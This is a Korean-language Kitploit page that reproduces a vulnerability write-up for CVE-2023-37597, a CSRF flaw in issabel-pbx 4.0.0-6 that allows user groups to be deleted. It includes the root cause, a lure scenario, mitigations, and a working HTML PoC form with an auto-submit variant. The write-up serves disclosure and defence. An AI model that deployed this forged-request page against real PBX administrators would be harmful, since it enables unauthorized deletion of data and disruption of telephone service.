Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-37597 — Issabel-pbx v 4.0.0-6에는 사용자 그룹 관리 기능에서 CSRF(Cross-Site Request Forgery) 취약점이 존재합니다. | Kitploit
도구/GitHubGitHub/sahiloj/cve-2023-37597
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & Education
GitHubsahiloj/cve-2023-37597

CVE-2023-37597

Issabel-pbx v 4.0.0-6에는 사용자 그룹 관리 기능에서 CSRF(Cross-Site Request Forgery) 취약점이 존재합니다.

저장소 보기
116개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-37597 — issabel-pbx 4.0.0-6: 사이트 간 요청 위조(CSRF) — 사용자 그룹 삭제

면책 조항: 이 저장소는 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 소유하지 않았거나 테스트에 대한 명시적인 서면 허가를 받지 않은 시스템에는 이 익스플로잇을 사용하지 마십시오.

목차

  • 개요
  • 취약점 세부 정보
  • 영향을 받는 제품
  • 기술 분석
  • 공격 시나리오
  • 개념 증명(PoC)
    • 재현 단계
    • PoC 익스플로잇 코드
  • 영향
  • 완화 및 해결 방안
  • 공개 일정
  • 참고 자료
  • 작성자

개요

issabel-pbx는 VoIP 서비스, 전화 관리 및 웹 기반 관리를 제공하는 널리 사용되는 오픈소스 통합 커뮤니케이션 플랫폼(PBX)입니다. issabel-pbx 버전 4.0.0-6에는 사용자 그룹 관리 기능에 사이트 간 요청 위조(CSRF) 취약점이 존재합니다.

인증되지 않은 원격 공격자는 악성 HTML 페이지를 제작하여, 인증된 관리자가 해당 페이지를 방문하면 임의의 사용자 그룹을 삭제하는 위조된 HTTP POST 요청을 조용히 전송할 수 있습니다. 애플리케이션이 CSRF 토큰이나 SameSite 쿠키 정책으로 상태 변경 요청의 출처를 검증하지 않기 때문에, 브라우저는 관리자의 세션 쿠키를 자동으로 포함하며 피해자의 인지나 동의 없이 삭제가 성공하게 됩니다.

취약점 세부 정보

필드값
CVE IDCVE-2023-37597
취약점 유형사이트 간 요청 위조(CSRF)
CWECWE-352 — 사이트 간 요청 위조(CSRF)
심각도Medium
CVSS 벡터CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
영향을 받는 버전issabel-pbx 4.0.0-6
공개일2023년 7월 10일
연구자Sahil Ojha

영향을 받는 제품

필드값
제품명issabel-pbx
버전4.0.0-6
공급업체Issabel Foundation
공급업체 홈페이지https://www.issabel.org/
소스 코드https://github.com/IssabelFoundation/issabelPBX
테스트 환경Windows (Burp Suite Community Edition)

기술 분석

CSRF란 무엇인가?

사이트 간 요청 위조(CSRF)는 피해자의 브라우저를 속여 공격자를 대신해 대상 애플리케이션에 인증된 요청을 보내게 하는 공격입니다. 공격은 다음 조건이 충족될 때 성공합니다:

  1. 피해자가 대상 애플리케이션에 활성화된 인증 세션을 보유하고 있어야 합니다.
  2. 애플리케이션이 요청 인증을 세션 쿠키에만 의존해야 합니다(즉, CSRF 토큰이 없고, Origin/Referer 검증이 없으며, SameSite=Strict 또는 SameSite=Lax 쿠키 속성이 없어야 함).
  3. 공격자가 상태 변경 요청의 구조를 예측할 수 있어야 합니다.

근본 원인

issabel-pbx 4.0.0-6의 사용자 그룹 삭제 엔드포인트(/index.php?menu=grouplist)는 delete 액션과 id_user 매개변수만 포함하는 HTTP POST 요청을 처리합니다. 애플리케이션은 다음을 수행하지 않습니다:

  • 동기화(anti-CSRF) 토큰을 생성하거나 검증하지 않습니다.
  • Origin 또는 Referer HTTP 헤더를 확인하지 않습니다.
  • 세션 쿠키에 SameSite 속성을 설정하지 않습니다.

결과적으로, 피해자 브라우저에 로드된 모든 웹 페이지는 브라우저가 세션 쿠키를 자동으로 첨부하므로 피해자의 기존 세션을 사용해 삭제 양식을 조용히 제출할 수 있습니다.

취약한 엔드포인트

root@kitploit:~
POST /index.php?menu=grouplist HTTP/1.1
Host: <Issabel IP>

delete=Delete&id_user=<USER_GROUP_ID>

공격 시나리오

  1. 공격자는 Issabel 관리 패널에 삭제 요청을 POST하는 숨겨진 양식이 포함된 악성 HTML 페이지를 제작합니다.
  2. 공격자는 피싱 이메일, 채팅 메시지의 링크 또는 손상된 페이지에 삽입된 ``을 통해 인증된 Issabel 관리자에게 해당 페이지를 전달합니다.
  3. 피해자의 브라우저가 페이지를 로드합니다. JavaScript가 양식을 자동으로 제출하거나, 피해자가 사회공학 기법에 의해 가짜 "Submit" 버튼을 클릭하게 됩니다.
  4. Issabel 서버는 관리자의 세션 쿠키가 포함된 유효한 POST 요청을 수신하고, 추가 확인이나 토큰 검증 없이 대상 사용자 그룹을 삭제합니다.
  5. 사용자 그룹이 영구적으로 제거되어 통화 라우팅, 접근 제어 및 해당 그룹에 의존하던 모든 사용자에게 지장을 줄 수 있으며, 사실상 애플리케이션 수준의 **서비스 거부(DoS)**를 유발합니다.

개념 증명(PoC)

경고: 다음 PoC는 엄격히 교육 목적으로만 제공됩니다. 실습 환경 또는 명시적 승인을 받은 시스템에서만 사용하십시오.

재현 단계

1단계 — Issabel 관리 패널에 로그인

사용자 그룹 목록 페이지로 이동하여 관리자 자격 증명으로 로그인합니다.

root@kitploit:~
https://{Issabel IP}/index.php?menu=grouplist&action=view&id=11

관리 패널 — 사용자 그룹 목록

2단계 — 삭제 요청 캡처

Burp Suite를 통해 트래픽을 프록시하면서 사용자 그룹 삭제를 시도합니다. 캡처된 POST 요청을 마우스 오른쪽 버튼으로 클릭하고 Engagement Tools → Generate CSRF PoC를 선택하여 익스플로잇 HTML 골격을 생성합니다.

Burp Suite — 캡처된 DELETE 요청

3단계 — CSRF 익스플로잇 페이지 호스팅

생성된 HTML을 파일로 저장합니다(아래 PoC 익스플로잇 코드 참조). 공격자가 제어하는 서버에 호스팅하거나 피해자에게 직접 전송합니다.

4단계 — 피해자가 익스플로잇 페이지를 엽니다

인증된 관리자가 익스플로잇 URL을 열거나 해당 URL로 리디렉션되면, 숨겨진 양식이 자동 제출되거나(또는 피해자가 유인 버튼을 클릭) 대상 사용자 그룹이 관리 패널에서 삭제됩니다.

익스플로잇 제출 — 그룹 삭제됨(삭제 전)

익스플로잇 제출 — 그룹 삭제됨(삭제 후)

PoC 익스플로잇 코드

다음 HTML 파일(CSRF exploit.html로도 제공됨)은 공격을 시연합니다. {Issabel IP}를 대상 호스트로 바꾸고 id_user를 삭제하려는 그룹 ID에 맞게 조정하십시오.

root@kitploit:~
<html>
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://{Issabel IP}/index.php?menu=grouplist" method="POST">
      <input type="hidden" name="delete" value="Delete" />
      <input type="hidden" name="id_user" value="7" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

자동 제출 변형: 피해자가 아무것도 클릭할 필요가 없도록 하려면 <body> 태그 안에 다음을 추가하여 페이지 로드 시 양식이 자동으로 제출되게 하십시오:

root@kitploit:~
<script>document.forms[0].submit();</script>

영향

영역설명
무결성공격자는 Issabel 관리 패널에서 임의의 사용자 그룹을 조용히 삭제할 수 있습니다.
가용성사용자 그룹 삭제는 해당 그룹에 속한 모든 사용자의 통화 라우팅 규칙, 접근 제어 및 전화 서비스를 중단시켜 부분적인 서비스 거부(DoS)에 해당합니다.
기밀성이 취약점에 의해 직접적인 영향을 받지 않습니다.

완화 및 해결 방안

관리자와 개발자는 다음 방어 조치를 적용해야 합니다:

  1. CSRF 토큰 구현(동기화 토큰 패턴)

    • 모든 상태 변경 양식에 대해 고유하고 예측 불가능한 세션별(또는 요청별) 토큰을 생성합니다.
    • POST/PUT/DELETE 작업을 처리하기 전에 서버 측에서 토큰을 검증합니다.

  2. SameSite 쿠키 속성 설정

    • 교차 출처 요청이 세션 자격 증명을 전달하지 못하도록 세션 쿠키에 SameSite=Lax(최소) 또는 SameSite=Strict를 설정합니다.
    • 응답 헤더 예시: Set-Cookie: PHPSESSID=...; SameSite=Lax; Secure; HttpOnly

  3. Origin 및 Referer 헤더 검증

    • 서버 측에서 Origin 또는 Referer 헤더가 애플리케이션 자체 도메인과 일치하지 않는 요청을 거부합니다.

  4. 파괴적 작업에 대한 재인증 요구

    • 그룹 삭제 또는 기타 파괴적 작업을 수행하기 전에 관리자에게 비밀번호 확인을 요구합니다.

  5. 심층 방어 적용

    • 민감한 엔드포인트에 대한 예기치 않은 교차 출처 POST 요청을 차단하는 웹 애플리케이션 방화벽(WAF) 규칙을 사용합니다.

공개 일정

날짜이벤트
2023년 7월 10일Sahil Ojha가 취약점 발견 및 문서화
2023년 7월 10일CVE-2023-37597 배정
2023년 7월 10일공개

참고 자료

  • NVD — CVE-2023-37597
  • OWASP — Cross-Site Request Forgery (CSRF)
  • OWASP CSRF Prevention Cheat Sheet
  • CWE-352: Cross-Site Request Forgery (CSRF)
  • Issabel Foundation — issabelPBX

작성자

Sahil Ojha 보안 연구원

이 연구가 유용하셨다면, 부담 없이 저장소에 ⭐ 스타를 눌러 주세요.

도구 다운로드